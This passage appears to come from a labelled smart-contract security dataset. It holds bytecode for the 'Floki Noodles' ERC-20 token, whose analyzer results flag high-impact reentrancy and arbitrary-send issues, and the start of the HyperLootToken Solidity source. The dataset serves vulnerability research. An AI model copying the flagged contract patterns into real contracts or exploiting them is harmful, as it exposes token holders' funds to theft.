506102e460048036038101906102df9190612c1e565b61082a565b6040516102f191906133e3565b60405180910390f35b34801561030657600080fd5b5061030f610881565b005b34801561031d57600080fd5b5061033860048036038101906103339190612c1e565b6108f3565b60405161034591906133e3565b60405180910390f35b34801561035a57600080fd5b50610363610944565b005b34801561037157600080fd5b5061037a610a97565b6040516103879190613118565b60405180910390f35b34801561039c57600080fd5b506103a5610ac0565b6040516103b29190613201565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612d0b565b610afd565b6040516103ef91906131e6565b60405180910390f35b34801561040457600080fd5b5061040d610b1b565b60405161041a91906131e6565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612c1e565b610b30565b60405161045791906133e3565b60405180910390f35b34801561046c57600080fd5b50610475610b87565b005b34801561048357600080fd5b5061048c610c01565b005b34801561049a57600080fd5b506104a3610cee565b6040516104b091906133e3565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612c78565b610d20565b6040516104ed91906133e3565b60405180910390f35b34801561050257600080fd5b5061050b610da7565b005b6060604051806060016040528060218152602001613bc560219139905090565b600061054161053a6112b9565b84846112c1565b6001905092915050565b6000683635c9adc5dea00000905090565b600061056984848461148c565b61062a846105756112b9565b61062585604051806060016040528060288152602001613b9d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105db6112b9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e209092919063ffffffff16565b6112c1565b600190509392505050565b6000610640306108f3565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661068f6112b9565b73ffffffffffffffffffffffffffffffffffffffff16146106af57600080fd5b603381106106f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e9906132c3565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161072a91906133e3565b60405180910390a150565b61073d6112b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c190613323565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff1660405161081f91906131e6565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261087a91906135a9565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108c26112b9565b73ffffffffffffffffffffffffffffffffffffffff16146108e257600080fd5b60004790506108f081611e84565b50565b600061093d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612021565b9050919050565b61094c6112b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d090613323565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f466c6f6b694e6f6f647300000000000000000000000000000000000000000000815250905090565b6000610b11610b0a6112b9565b848461148c565b6001905092915050565b600060158054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610b8091906135a9565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc86112b9565b73ffffffffffffffffffffffffffffffffffffffff1614610be857600080fd5b6000610bf3306108f3565b9050610bfe8161208f565b50565b610c096112b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8d90613323565b60405180910390fd5b6001601560146101000a81548160ff021916908315150217905550607842610cbe91906134c8565b601681905550610e1042610cd291906134c8565b601781905550611c2042610ce691906134c8565b601881905550565b6000610d1b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166108f3565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610daf6112b9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3390613323565b60405180910390fd5b601560149054906101000a900460ff1615610e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e83906133a3565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1c30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112c1565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f6257600080fd5b505afa158015610f76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9a9190612c4b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ffc57600080fd5b505afa158015611010573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110349190612c4b565b6040518363ffffffff1660e01b8152600401611051929190613133565b602060405180830381600087803b15801561106b57600080fd5b505af115801561107f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a39190612c4b565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112c306108f3565b600080611137610a97565b426040518863ffffffff1660e01b815260040161115996959493929190613185565b6060604051808303818588803b15801561117257600080fd5b505af1158015611186573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111ab9190612dd2565b5050506729a2241af62c000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161126392919061315c565b602060405180830381600087803b15801561127d57600080fd5b505af1158015611291573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b59190612d78565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611331576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132890613383565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139890613263565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147f91906133e3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f390613363565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561156c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156390613223565b60405180910390fd5b600081116115af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a690613343565b60405180910390fd5b6115b7610a97565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162557506115f5610a97565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d5d5760158054906101000a900460ff161561172957600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611728576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117d45750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561182a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ac957601560149054906101000a900460ff1661187e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611875906133c3565b60405180910390fd5b60066009819055506004600a8190555060158054906101000a900460ff1615611a6157426016541115611992576010548111156118ba57600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061193e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193590613283565b60405180910390fd5b602d4261194b91906134c8565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b4260175411156119f95760006119a7836108f3565b90506119d960646119cb6002683635c9adc5dea0000061231790919063ffffffff16565b61239290919063ffffffff16565b6119ec82846123dc90919063ffffffff16565b11156119f757600080fd5b505b426018541115611a60576000611a0e836108f3565b9050611a406064611a326005683635c9adc5dea0000061231790919063ffffffff16565b61239290919063ffffffff16565b611a5382846123dc90919063ffffffff16565b1115611a5e57600080fd5b505b5b60158054906101000a900460ff1615611ac857600f42611a8191906134c8565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611ad4306108f3565b9050601560169054906101000a900460ff16158015611b415750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b595750601560149054906101000a900460ff165b15611d5b5760158054906101000a900460ff1615611bf65742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bec906132e3565b60405180910390fd5b5b601560179054906101000a900460ff1615611c80576000611c22600c548461231790919063ffffffff16565b9050611c73611c6484611c56601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166108f3565b6123dc90919063ffffffff16565b8261239290919063ffffffff16565b9050611c7e8161243a565b505b6000811115611d4157611cdb6064611ccd600b54611cbf601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166108f3565b61231790919063ffffffff16565b61239290919063ffffffff16565b811115611d3757611d346064611d26600b54611d18601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166108f3565b61231790919063ffffffff16565b61239290919063ffffffff16565b90505b611d408161208f565b5b60004790506000811115611d5957611d5847611e84565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e045750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611e0e57600090505b611e1a848484846124f1565b50505050565b6000838311158290611e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5f9190613201565b60405180910390fd5b5060008385611e7791906135a9565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ed460028461239290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611eff573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f636002611f5560028661239290919063ffffffff16565b61239290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f8e573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ff26002611fe460028661239290919063ffffffff16565b61239290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561201d573d6000803e3d6000fd5b5050565b6000600754821115612068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205f90613243565b60405180910390fd5b600061207261251e565b9050612087818461239290919063ffffffff16565b915050919050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120c7576120c661377e565b5b6040519080825280602002602001820160405280156120f55781602001602082028036833780820191505090505b509050308160008151811061210d5761210c61374f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121af57600080fd5b505afa1580156121c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121e79190612c4b565b816001815181106121fb576121fa61374f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061226230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112c1565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122c69594939291906133fe565b600060405180830381600087803b1580156122e057600080fd5b505af11580156122f4573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60008083141561232a576000905061238c565b60008284612338919061354f565b9050828482612347919061351e565b14612387576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237e90613303565b60405180910390fd5b809150505b92915050565b60006123d483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612549565b905092915050565b60008082846123eb91906134c8565b905083811015612430576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612427906132a3565b60405180910390fd5b8091505092915050565b6000600a9050600a82101561245257600a9050612469565b60288211156124645760289050612468565b8190505b5b600061247f6002836125ac90919063ffffffff16565b1461249357808061248f90613677565b9150505b6124ba600a6124ac60068461231790919063ffffffff16565b61239290919063ffffffff16565b6009819055506124e7600a6124d960048461231790919063ffffffff16565b61239290919063ffffffff16565b600a819055505050565b806124ff576124fe6125f6565b5b61250a848484612639565b8061251857612517612804565b5b50505050565b600080600061252b612818565b91509150612542818361239290919063ffffffff16565b9250505090565b60008083118290612590576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125879190613201565b60405180910390fd5b506000838561259f919061351e565b9050809150509392505050565b60006125ee83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f000000000000000081525061287a565b905092915050565b600060095414801561260a57506000600a54145b1561261457612637565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b60008060008060008061264b876128d8565b9550955095509550955095506126a986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461294090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061273e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123dc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061278a8161298a565b6127948483612a47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127f191906133e3565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061284e683635c9adc5dea0000060075461239290919063ffffffff16565b82101561286d57600754683635c9adc5dea00000935093505050612876565b81819350935050505b9091565b60008083141582906128c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128b99190613201565b60405180910390fd5b5082846128cf91906136c0565b90509392505050565b60008060008060008060008060006128f58a600954600a54612a81565b925092509250600061290561251e565b905060008060006129188e878787612b17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061298283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e20565b905092915050565b600061299461251e565b905060006129ab828461231790919063ffffffff16565b90506129ff81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123dc90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612a5c8260075461294090919063ffffffff16565b600781905550612a77816008546123dc90919063ffffffff16565b6008819055505050565b600080600080612aad6064612a9f888a61231790919063ffffffff16565b61239290919063ffffffff16565b90506000612ad76064612ac9888b61231790919063ffffffff16565b61239290919063ffffffff16565b90506000612b0082612af2858c61294090919063ffffffff16565b61294090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b30858961231790919063ffffffff16565b90506000612b47868961231790919063ffffffff16565b90506000612b5e878961231790919063ffffffff16565b90506000612b8782612b79858761294090919063ffffffff16565b61294090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612baf81613b57565b92915050565b600081519050612bc481613b57565b92915050565b600081359050612bd981613b6e565b92915050565b600081519050612bee81613b6e565b92915050565b600081359050612c0381613b85565b92915050565b600081519050612c1881613b85565b92915050565b600060208284031215612c3457612c336137ad565b5b6000612c4284828501612ba0565b91505092915050565b600060208284031215612c6157612c606137ad565b5b6000612c6f84828501612bb5565b91505092915050565b60008060408385031215612c8f57612c8e6137ad565b5b6000612c9d85828601612ba0565b9250506020612cae85828601612ba0565b9150509250929050565b600080600060608486031215612cd157612cd06137ad565b5b6000612cdf86828701612ba0565b9350506020612cf086828701612ba0565b9250506040612d0186828701612bf4565b9150509250925092565b60008060408385031215612d2257612d216137ad565b5b6000612d3085828601612ba0565b9250506020612d4185828601612bf4565b9150509250929050565b600060208284031215612d6157612d606137ad565b5b6000612d6f84828501612bca565b91505092915050565b600060208284031215612d8e57612d8d6137ad565b5b6000612d9c84828501612bdf565b91505092915050565b600060208284031215612dbb57612dba6137ad565b5b6000612dc984828501612bf4565b91505092915050565b600080600060608486031215612deb57612dea6137ad565b5b6000612df986828701612c09565b9350506020612e0a86828701612c09565b9250506040612e1b86828701612c09565b9150509250925092565b6000612e318383612e3d565b60208301905092915050565b612e46816135dd565b82525050565b612e55816135dd565b82525050565b6000612e6682613483565b612e7081856134a6565b9350612e7b83613473565b8060005b83811015612eac578151612e938882612e25565b9750612e9e83613499565b925050600181019050612e7f565b5085935050505092915050565b612ec2816135ef565b82525050565b612ed181613632565b82525050565b6000612ee28261348e565b612eec81856134b7565b9350612efc818560208601613644565b612f05816137b2565b840191505092915050565b6000612f1d6023836134b7565b9150612f28826137c3565b604082019050919050565b6000612f40602a836134b7565b9150612f4b82613812565b604082019050919050565b6000612f636022836134b7565b9150612f6e82613861565b604082019050919050565b6000612f866022836134b7565b9150612f91826138b0565b604082019050919050565b6000612fa9601b836134b7565b9150612fb4826138ff565b602082019050919050565b6000612fcc6015836134b7565b9150612fd782613928565b602082019050919050565b6000612fef6023836134b7565b9150612ffa82613951565b604082019050919050565b60006130126021836134b7565b915061301d826139a0565b604082019050919050565b60006130356020836134b7565b9150613040826139ef565b602082019050919050565b60006130586029836134b7565b915061306382613a18565b604082019050919050565b600061307b6025836134b7565b915061308682613a67565b604082019050919050565b600061309e6024836134b7565b91506130a982613ab6565b604082019050919050565b60006130c16017836134b7565b91506130cc82613b05565b602082019050919050565b60006130e46018836134b7565b91506130ef82613b2e565b602082019050919050565b6131038161361b565b82525050565b61311281613625565b82525050565b600060208201905061312d6000830184612e4c565b92915050565b60006040820190506131486000830185612e4c565b6131556020830184612e4c565b9392505050565b60006040820190506131716000830185612e4c565b61317e60208301846130fa565b9392505050565b600060c08201905061319a6000830189612e4c565b6131a760208301886130fa565b6131b46040830187612ec8565b6131c16060830186612ec8565b6131ce6080830185612e4c565b6131db60a08301846130fa565b979650505050505050565b60006020820190506131fb6000830184612eb9565b92915050565b6000602082019050818103600083015261321b8184612ed7565b905092915050565b6000602082019050818103600083015261323c81612f10565b9050919050565b6000602082019050818103600083015261325c81612f33565b9050919050565b6000602082019050818103600083015261327c81612f56565b9050919050565b6000602082019050818103600083015261329c81612f79565b9050919050565b600060208201905081810360008301526132bc81612f9c565b9050919050565b600060208201905081810360008301526132dc81612fbf565b9050919050565b600060208201905081810360008301526132fc81612fe2565b9050919050565b6000602082019050818103600083015261331c81613005565b9050919050565b6000602082019050818103600083015261333c81613028565b9050919050565b6000602082019050818103600083015261335c8161304b565b9050919050565b6000602082019050818103600083015261337c8161306e565b9050919050565b6000602082019050818103600083015261339c81613091565b9050919050565b600060208201905081810360008301526133bc816130b4565b9050919050565b600060208201905081810360008301526133dc816130d7565b9050919050565b60006020820190506133f860008301846130fa565b92915050565b600060a08201905061341360008301886130fa565b6134206020830187612ec8565b81810360408301526134328186612e5b565b90506134416060830185612e4c565b61344e60808301846130fa565b9695505050505050565b600060208201905061346d6000830184613109565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134d38261361b565b91506134de8361361b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613513576135126136f1565b5b828201905092915050565b60006135298261361b565b91506135348361361b565b92508261354457613543613720565b5b828204905092915050565b600061355a8261361b565b91506135658361361b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561359e5761359d6136f1565b5b828202905092915050565b60006135b48261361b565b91506135bf8361361b565b9250828210156135d2576135d16136f1565b5b828203905092915050565b60006135e8826135fb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061363d8261361b565b9050919050565b60005b83811015613662578082015181840152602081019050613647565b83811115613671576000848401525b50505050565b60006136828261361b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156136b5576136b46136f1565b5b600182019050919050565b60006136cb8261361b565b91506136d68361361b565b9250826136e6576136e5613720565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b613b60816135dd565b8114613b6b57600080fd5b50565b613b77816135ef565b8114613b8257600080fd5b50565b613b8e8161361b565b8114613b9957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365466c6f6b69204e6f6f646c6573207c20742e6d652f666c6f6b696e6f6f646c6573a2646970667358221220ab4fd70bc5d962dc0e8df0524f896294483b56dd3dba6829a8a5e1b7f1ae839164736f6c63430008050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,970 |
0xa809d363a66c576a2a814cdbfefc107c600a55f0 | pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
address public pendingOwner;
address public manager;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
constructor() public {
owner = msg.sender;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
/**
* @dev Sets the manager address.
* @param _manager The manager address.
*/
function setManager(address _manager) public onlyOwner {
require(_manager != address(0));
manager = _manager;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function allowance(address who, address spender) public view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed who, address indexed spender, uint256 value);
}
contract HyperLootToken is ERC20, Ownable {
using SafeMath for uint256;
uint256 internal totalSupply_;
uint8 public decimals = 18;
uint256 public MAX_TOTAL_SUPPLY = uint256(1000000000) * uint256(10) ** decimals;
mapping(address => uint256) internal balances;
mapping(address => mapping (address => uint256)) internal allowed;
string public name = "HyperLoot";
string public symbol = "HLT";
event Mint(address indexed _to, uint _amount);
modifier canMint() {
require(msg.sender == manager);
require(totalSupply() <= MAX_TOTAL_SUPPLY);
_;
}
/**
* @dev Reclaim all ERC20Basic compatible tokens
* @param token ERC20B The address of the token contract
*/
function reclaimToken(ERC20 token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
